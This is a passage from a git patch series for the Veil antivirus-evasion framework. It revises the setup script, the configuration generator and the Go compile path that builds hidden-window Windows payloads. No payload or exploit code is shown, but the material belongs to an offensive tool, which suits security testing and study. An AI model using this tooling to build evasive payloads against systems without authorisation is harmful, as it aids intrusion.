CATAPULT_RESOURCE_PATH = " + catapult_resource_path + "\n" + print( " [*] CATAPULT_RESOURCE_PATH = " + catapult_resource_path + "\n" ) # Create the output compiled path if it doesn't exist if not os.path.exists( handler_path ): os.makedirs( handler_path ) - print " [I] Path Created: '" + handler_path + print( " [I] Path Created: '" + handler_path ) # Create the catapult resource path if it doesn't exist if not os.path.exists( catapult_resource_path ): os.makedirs( catapult_resource_path ) - print " [I] Path Created: '" + catapult_resource_path + print( " [I] Path Created: '" + catapult_resource_path ) # Create the output source path if it doesn't exist if not os.path.exists( source_path ): os.makedirs( source_path ) - print " [I] Path Created: '" + source_path + print( " [I] Path Created: '" + source_path ) # Create the output compiled path if it doesn't exist if not os.path.exists( compiled_path ): os.makedirs( compiled_path ) - print " [I] Path Created: '" + compiled_path + print( " [I] Path Created: '" + compiled_path ) # Save config @@ -170,14 +170,14 @@ def generateConfig(options): # create the output compiled path if it doesn't exist if not os.path.exists( "/etc/veil/" ): os.makedirs( "/etc/veil/" ) - print " [I] Path '/etc/veil/' Created" + print( " [I] Path '/etc/veil/' Created" ) f = open( "/etc/veil/settings.py", 'w' ) f.write( config ) f.close() - os.chmod( "/etc/veil/settings.py", 0755 ) - print " [I] Configuration File Written To: '/etc/veil/settings.py'\n" + os.chmod( "/etc/veil/settings.py", 0o0755 ) + print( " [I] Configuration File Written To: '/etc/veil/settings.py'\n" ) else: - print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" + print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() @@ -187,7 +187,7 @@ def generateConfig(options): # Check for root access if os.geteuid() != 0: - print " [!] ERROR: Not root. Requesting..." + print( " [!] ERROR: Not root. Requesting..." ) os.execvp( "sudo", ["sudo"] + ["python"] + sys.argv ) sys.exit() @@ -244,7 +244,7 @@ def generateConfig(options): # Unsupported platform... else: - print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" + print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() generateConfig( options ) From 73a1bd17a77496860ee8cc14bc06182db883c6e0 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 10 Apr 2018 17:05:37 +0100 Subject: [PATCH 04/38] Apply Kali patches to upstream Source: http://git.kali.org/gitweb/?p=packages/veil.git;a=tree;f=debian/patches;hb=refs/heads/kali/master --- config/setup.sh | 159 +++++++++++++----------- config/update-config.py | 8 +- tools/evasion/evasion_common/outfile.py | 2 +- 3 files changed, 92 insertions(+), 77 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index 38c8a21..48cece7 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -1,4 +1,5 @@ #!/bin/bash +## Best not to call this directly, but rather: Veil.py --setup ## Global variables os="$( awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&- )" @@ -63,22 +64,22 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-02" + echo " Veil (Setup Script) | [Updated]: 2018-04-10" echo " ==========================================================================" echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" echo "" - #echo "Debug: winedir = ${winedir}" - #echo "Debug: winedrive = ${winedrive}" - #echo "Debug: userhomedir = ${HOME}" - #echo "Debug: rootdir = ${rootdir}" - #echo "Debug: veildir = ${veildir}" - #echo "Debug: dependenciesdir = ${dependenciesdir}" - #echo "Debug: trueuser = ${trueuser}" - #echo "Debug: userprimarygroup = ${userprimarygroup}" - #echo "Debug: os = ${os}" - #echo "Debug: osversion = ${osversion}" - #echo "" + echo " winedir = ${winedir}" + echo " winedrive = ${winedrive}" + echo " userhomedir = ${HOME}" + echo " rootdir = ${rootdir}" + echo " veildir = ${veildir}" + echo " dependenciesdir = ${dependenciesdir}" + echo " trueuser = ${trueuser}" + echo " userprimarygroup = ${userprimarygroup}" + echo " os = ${os}" + echo " osversion = ${osversion}" + echo "" } @@ -176,7 +177,7 @@ func_check_env(){ ## Check if go is installed if [ "${force}" == "false" ] \ - && [ -f "/usr/src/go/bin/windows_386/go.exe" ]; then + && [ -f "/var/lib/veil-evasion/go/bin/go" ]; then echo -e "\n\n [*] ${YELLOW}Go is already installed... Skipping...${RESET}\n" else func_go_deps @@ -212,6 +213,64 @@ func_package_deps(){ echo -e "\n\n [*] ${YELLOW}Initializing package installation${RESET}\n" + ## Start dependency install + echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" + if [ "${os}" == "debian" ] \ + || [ "${os}" == "kali" ] \ + || [ "${os}" == "parrot" ] \ + || [ "${os}" == "ubuntu" ] \ + || [ "${os}" == "deepin" ] \ + || [ "${os}" == "linuxmint" ]; then + #ttf-mscorefonts-installer + sudo ${arg} apt-get -y install wine unzip winbind wget git ca-certificates \ + mingw-w64 monodevelop mono-mcs \ + ruby golang \ + python python-crypto python-pefile python-pip python3-pip \ + || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (1)\n${RESET}\n" + + elif [ "${os}" == '"elementary"' ]; then + sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ + python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto \ + || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (2)\n${RESET}\n" + + elif [ "${os}" == "fedora" ] \ + || [ "${os}" == "rhel" ] \ + || [ "${os}" == "centos" ]; then + sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ + monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ + python-pip ca-certificates msttcore-fonts-installer python3-pip winbind \ + || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (3)\n${RESET}\n" + + elif [ "${os}" == "arch" ] \ + || [ "${os}" == "blackarch" ]; then + sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ + mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba \ + || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (4)\n${RESET}\n" + ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. + sudo pip2 install pefile \ + || echo -e "${RED}[ERROR]: Failed with pip2 install (1)\n${RESET}\n" + fi + tmp="$?" + if [ "${tmp}" -ne "0" ]; then + msg="Failed to install dependencies... Exit code: ${tmp}" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + + + if [ "${os}" == "kali" ] \ + || [ "${os}" == "parrot" ]; then + sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ + || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" + tmp="$?" + if [ "${tmp}" -ne "0" ]; then + msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome)... Exit code: ${tmp}" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + fi + + ## Clone down the required install files echo -e "\n\n [*] ${YELLOW}Pulling down binary dependencies${RESET}\n" ## Pulling down from github, if it fails, pull local folder @@ -253,6 +312,7 @@ func_package_deps(){ if [ "${arch}" == "x86_64" ]; then echo -e "\n\n [*] ${YELLOW}Adding x86 architecture to x86_64 system for Wine${RESET}\n" sudo dpkg --add-architecture i386 + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" sudo apt-get -qq update \ || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" @@ -263,7 +323,7 @@ func_package_deps(){ sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 \ || echo -e "${RED}[ERROR]: Failed with apt-get install wine (1)\n${RESET}\n" else - ## anything that isn't ubuntu or ubuntu-derived + ## Anything that isn't ubuntu or ubuntu-derived sudo ${arg} apt-get -y -qq install wine wine64 wine32 \ || echo -e "${RED}[ERROR]: Failed with apt-get install wine (2)\n${RESET}\n" fi @@ -404,61 +464,6 @@ func_package_deps(){ fi - ## Start dependency install - echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" - if [ "${os}" == "debian" ] \ - || [ "${os}" == "kali" ] \ - || [ "${os}" == "parrot" ] \ - || [ "${os}" == "ubuntu" ] \ - || [ "${os}" == "deepin" ] \ - || [ "${os}" == "linuxmint" ]; then - #ttf-mscorefonts-installer - sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ - python python-crypto python-pefile python-pip ca-certificates python3-pip winbind \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (1)\n${RESET}\n" - - elif [ "${os}" == '"elementary"' ]; then - sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ - python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (2)\n${RESET}\n" - - elif [ "${os}" == "fedora" ] \ - || [ "${os}" == "rhel" ] \ - || [ "${os}" == "centos" ]; then - sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ - monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ - python-pip ca-certificates msttcore-fonts-installer python3-pip winbind \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (3)\n${RESET}\n" - - elif [ "${os}" == "arch" ] \ - || [ "${os}" == "blackarch" ]; then - sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ - mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (4)\n${RESET}\n" - ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. - sudo pip2 install pefile \ - || echo -e "${RED}[ERROR]: Failed with pip2 install (1)\n${RESET}\n" - fi - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install dependencies... Exit code: ${tmp}" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - - - if [ "${os}" == "kali" ] \ - || [ "${os}" == "parrot" ]; then - sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" - tmp="$?" - if [ "${tmp}" -ne "0" ]; then - msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome)... Exit code: ${tmp}" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - fi - ## Function done echo -e "\n\n [*] ${YELLOW}Finished package installation${RESET}\n" } @@ -576,14 +581,16 @@ func_go_deps(){ sudo mkdir -p /usr/src/go/ - if [ ! -f "/usr/src/go/bin/windows_386/go.exe" ]; then + if [ ! -f "/var/lib/veil-evasion/go/bin/go" ]; then if [ "${arch}" == "x86_64" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86_64 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-amd64.tar.gz" shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" if [ "${shasum}" == "2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" ]; then - sudo tar -C /usr/local -xf "${file}" + sudo rm -rf "${veildir}/go/" + sudo mkdir -p "${veildir}" + sudo tar -C "${veildir}" -xf "${file}" else if [ "${tmp}" -ne "0" ]; then msg="Bad hash for go153x64.tar.gz!" @@ -598,7 +605,9 @@ func_go_deps(){ file="${dependenciesdir}/go1.7.5.linux-386.tar.gz" shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" if [ "${shasum}" == "432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" ]; then - sudo tar -C /usr/local -xf "${file}" + sudo rm -rf "${veildir}/go/" + sudo mkdir -p "${veildir}" + sudo tar -C "${veildir}" -xf "${file}" else if [ "${tmp}" -ne "0" ]; then msg="Bad hash for go153x86.tar.gz!" @@ -608,9 +617,9 @@ func_go_deps(){ fi fi - export GOROOT=/usr/local/go - sudo rm -f /usr/bin/go - sudo ln -s /usr/local/go/bin/go /usr/bin/go + #export GOROOT=$( echo "${veildir}/go" ) + #sudo rm -f /usr/bin/go + #sudo ln -s /usr/local/go/bin/go /usr/bin/go fi ## Done diff --git a/config/update-config.py b/config/update-config.py index e577a82..992983f 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -2,6 +2,8 @@ """ Take an options dictionary and update /etc/veil/settings.py + +Able to call this by doing: Veil.py --config """ import platform, os, sys, pwd @@ -216,7 +218,7 @@ def generateConfig(options): options["PAYLOAD_SOURCE_PATH"] = "/var/lib/veil/output/source/" # Veil-Catapult specific options - veil_catapult_path = "/".join( os.getcwd().split( "/" )[:-2] ) + "/Veil-Catapult/" + veil_catapult_path = "/".join( os.getcwd().split( "/" )[:-2] ) + "/veil-catapult/" options["VEIL_CATAPULT_PATH"] = veil_catapult_path options["CATAPULT_RESOURCE_PATH"] = "/var/lib/veil/output/catapult/" @@ -242,6 +244,10 @@ def generateConfig(options): msfpath = raw_input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) options["MSFVENOM_PATH"] = msfpath + # Check the paths are correct (PYINSTALLER_PATH) + while not os.path.isdir( options["PYINSTALLER_PATH"] ): + pypath = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + options["PYINSTALLER_PATH"] = pypath # Unsupported platform... else: print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 149e9cb..fb6c330 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -203,7 +203,7 @@ def compiler(payload_object, invoked=False, cli_object=None): elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload - os.system('env GOROOT=/usr/local/go GOOS=windows GOARCH=386 /usr/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) + os.system('env GOROOT=/var/lib/veil-evasion/go GOOS=windows GOARCH=386 /var/lib/veil-evasion/go/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) evasion_helpers.title_screen() From 5210cbfd7800ffde3edc1da69738068ed7e5377e Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 10 Apr 2018 17:57:35 +0100 Subject: [PATCH 05/38] Change from --setup to config/setup.sh --- README.md | 2 +- config/setup.sh | 43 ++++++++++++++----- lib/common/helpers.py | 2 +- lib/common/orchestra.py | 2 +- .../evasion/evasion_common/evasion_helpers.py | 2 +- tools/evasion/evasion_common/outfile.py | 2 +- .../evasion/evasion_common/shellcode_help.py | 2 +- tools/evasion/tool.py | 2 +- 8 files changed, 40 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index c35751f..12f90dc 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ veil --setup sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ -./Veil.py --setup +bash config/setup.sh --force --silent ``` ### Py2Exe diff --git a/config/setup.sh b/config/setup.sh index 48cece7..d618ef6 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -216,11 +216,21 @@ func_package_deps(){ ## Start dependency install echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" if [ "${os}" == "debian" ] \ + || [ "${os}" == "deepin" ] \ || [ "${os}" == "kali" ] \ + || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "parrot" ] \ - || [ "${os}" == "ubuntu" ] \ - || [ "${os}" == "deepin" ] \ - || [ "${os}" == "linuxmint" ]; then + || [ "${os}" == "ubuntu" ]; then + ## Silent mode? + [ "${silent}" == "true" ] \ + && arg=" DEBIAN_FRONTEND=noninteractive" \ + || arg="" + + ## Update APT + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update \ + || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + #ttf-mscorefonts-installer sudo ${arg} apt-get -y install wine unzip winbind wget git ca-certificates \ mingw-w64 monodevelop mono-mcs \ @@ -229,13 +239,23 @@ func_package_deps(){ || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (1)\n${RESET}\n" elif [ "${os}" == '"elementary"' ]; then + ## Silent mode? + [ "${silent}" == "true" ] \ + && arg=" DEBIAN_FRONTEND=noninteractive" \ + || arg="" + + ## Update APT + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update \ + || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto \ || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (2)\n${RESET}\n" - elif [ "${os}" == "fedora" ] \ - || [ "${os}" == "rhel" ] \ - || [ "${os}" == "centos" ]; then + elif [ "${os}" == "centos" ] \ + || [ "${os}" == "fedora" ] \ + || [ "${os}" == "rhel" ]; then sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ python-pip ca-certificates msttcore-fonts-installer python3-pip winbind \ @@ -258,6 +278,7 @@ func_package_deps(){ fi + ## Couple of extras for other OSs if [ "${os}" == "kali" ] \ || [ "${os}" == "parrot" ]; then sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ @@ -299,12 +320,13 @@ func_package_deps(){ ## Debian based distributions - if [ "${os}" == "ubuntu" ] \ - || [ "${os}" == "debian" ] \ + if [ "${os}" == "debian" ] \ + || [ "${os}" == "deepin" ] \ || [ "${os}" == "kali" ] \ + || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "parrot" ] \ - || [ "${os}" == "deepin" ] \ - || [ "${os}" == "linuxmint" ]; then + || [ "${os}" == "ubuntu" ]; then + ## Silent mode? [ "${silent}" == "true" ] \ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" @@ -312,6 +334,7 @@ func_package_deps(){ if [ "${arch}" == "x86_64" ]; then echo -e "\n\n [*] ${YELLOW}Adding x86 architecture to x86_64 system for Wine${RESET}\n" sudo dpkg --add-architecture i386 + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" sudo apt-get -qq update \ || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" diff --git a/lib/common/helpers.py b/lib/common/helpers.py index ce2107c..5c4ce12 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -16,7 +16,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index de31881..c4db342 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -18,7 +18,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 48e658e..44638a9 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -18,7 +18,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index fb6c330..56bccf2 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -15,7 +15,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 7481f78..899b797 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -22,7 +22,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 2c8edad..2de41a8 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -22,7 +22,7 @@ import settings except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print("\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) sys.exit() From 2a9b2bd8027472c542e929df2dbf6e7326cc45b4 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 12:13:45 +0100 Subject: [PATCH 06/38] Misc fixes and improvements --- config/setup.sh | 89 ++++++++++++------------- config/update-config.py | 1 + tools/evasion/evasion_common/outfile.py | 2 +- 3 files changed, 45 insertions(+), 47 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index d618ef6..8e18c54 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -1,5 +1,5 @@ #!/bin/bash -## Best not to call this directly, but rather: Veil.py --setup +## Can be called by doing: "Veil.py --setup" ## Global variables os="$( awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&- )" @@ -29,26 +29,25 @@ else userhomedir="${HOME}" fi +userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" arch="$( uname -m )" -nukewinedir="" -silent=false -force=false osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- )" -arg="" -errors="" veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" -runuser="$( whoami )" -userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" rootdir=$( cd "$( dirname "${BASH_SOURCE[0]}" )/../" && pwd ) winedir="${veildir}/wine/veil" winedrive="${winedir}/drive_c" gempath="${winedir}\drive_c\Ruby187\bin\gem" replace="\\" prefix="Z:" -gempath=${gempath////$replace} -gempath=${prefix}${gempath} +gempath="${gempath////$replace}" +gempath="${prefix}${gempath}" +nukewinedir="" +silent=false +force=false +arg="" +errors="" BOLD="\033[01;01m" # Highlight RED="\033[01;31m" # Issues/Errors @@ -64,21 +63,24 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-10" + echo " Veil (Setup Script) | [Updated]: 2018-04-11" echo " ==========================================================================" - echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" + echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" echo "" - echo " winedir = ${winedir}" - echo " winedrive = ${winedrive}" - echo " userhomedir = ${HOME}" + echo " os = ${os}" + echo " osversion = ${osversion}" + echo " arch = ${arch}" + echo " trueuser = ${trueuser}" + echo " userprimarygroup = ${userprimarygroup}" + echo " userhomedir = ${userhomedir}" echo " rootdir = ${rootdir}" echo " veildir = ${veildir}" + echo " outputdir = ${outputdir}" echo " dependenciesdir = ${dependenciesdir}" - echo " trueuser = ${trueuser}" - echo " userprimarygroup = ${userprimarygroup}" - echo " os = ${os}" - echo " osversion = ${osversion}" + echo " winedir = ${winedir}" + echo " winedrive = ${winedrive}" + echo " gempath = ${gempath}" echo "" } @@ -609,34 +611,29 @@ func_go_deps(){ echo -e "\n\n [*] ${YELLOW}Installing Go x86_64 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-amd64.tar.gz" - shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" - if [ "${shasum}" == "2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" ]; then - sudo rm -rf "${veildir}/go/" - sudo mkdir -p "${veildir}" - sudo tar -C "${veildir}" -xf "${file}" - else - if [ "${tmp}" -ne "0" ]; then - msg="Bad hash for go153x64.tar.gz!" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi - fi + file_hash="2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" elif [ "${arch}" == "x86" ] \ || [ "${arch}" == "i686" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-386.tar.gz" - shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" - if [ "${shasum}" == "432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" ]; then - sudo rm -rf "${veildir}/go/" - sudo mkdir -p "${veildir}" - sudo tar -C "${veildir}" -xf "${file}" - else - if [ "${tmp}" -ne "0" ]; then - msg="Bad hash for go153x86.tar.gz!" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" - fi + file_hash="432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" + else + ## Dead code. We really shouldn't end up here, but, you never know... + echo -e "${RED}[ERROR]: Architecture ${arch} is not supported!\n${RESET}\n" + exit 1 + fi + + shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" + if [ "${shasum}" == "${file_hash}" ]; then + sudo rm -rf "${veildir}/go/" + sudo mkdir -p "${veildir}" + sudo tar -C "${veildir}" -xf "${file}" + else + if [ "${tmp}" -ne "0" ]; then + msg="Bad hash for ${file}!" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi @@ -728,11 +725,11 @@ func_update_config(){ ## snip 8<- - - - - - - - - - - - - - The alternative below without "sudo -u username"... ## - | sudo python update-config.py (${USER}=root ${SUDO_USER}=root) ## snip 8<- - - - - - - - - - - - - - And thus it would have screwed up the ${winedir} dir for the user. - if [ -f /etc/veil/settings.py ]; then - echo -e "\n\n [*] ${YELLOW}Detected current Veil settings file. Removing...${RESET}\n" - sudo rm -f /etc/veil/settings.py + if [ -e /etc/veil/ ]; then + echo -e "\n\n [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" + sudo rm -rf /etc/veil/ fi - sudo -u "${trueuser}" sudo python2 update-config.py + sudo -u "${trueuser}" sudo python update-config.py sudo mkdir -p "${outputdir}" diff --git a/config/update-config.py b/config/update-config.py index 992983f..6b80988 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -247,6 +247,7 @@ def generateConfig(options): # Check the paths are correct (PYINSTALLER_PATH) while not os.path.isdir( options["PYINSTALLER_PATH"] ): pypath = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + print( " [i] Can't find PyInstaller? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) options["PYINSTALLER_PATH"] = pypath # Unsupported platform... else: diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 56bccf2..29d26cd 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -203,7 +203,7 @@ def compiler(payload_object, invoked=False, cli_object=None): elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload - os.system('env GOROOT=/var/lib/veil-evasion/go GOOS=windows GOARCH=386 /var/lib/veil-evasion/go/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) + os.system('env GOROOT=/var/lib/veil/go GOOS=windows GOARCH=386 /var/lib/veil/go/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) evasion_helpers.title_screen() From 0dfb702280f74d3add9813f77eb0c6c4389ae27d Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 13:00:36 +0100 Subject: [PATCH 07/38] Add GoLang to config file --- config/update-config.py | 34 ++++++++++++++----- lib/common/helpers.py | 21 +++++++++++- lib/common/orchestra.py | 2 +- .../evasion/evasion_common/evasion_helpers.py | 8 ++--- tools/evasion/evasion_common/outfile.py | 4 +-- .../evasion/evasion_common/shellcode_help.py | 2 +- tools/evasion/tool.py | 2 +- 7 files changed, 54 insertions(+), 19 deletions(-) diff --git a/config/update-config.py b/config/update-config.py index 6b80988..d69f210 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -56,8 +56,8 @@ def generateConfig(options): # Temp folder config += '# Path to temporary directory\n' - config += 'TEMP_DIR="' + options["TEMP_DIR"] + '"\n\n' - print( " [*] TEMP_DIR = " + options["TEMP_DIR"] ) + config += 'TEMP_PATH="' + 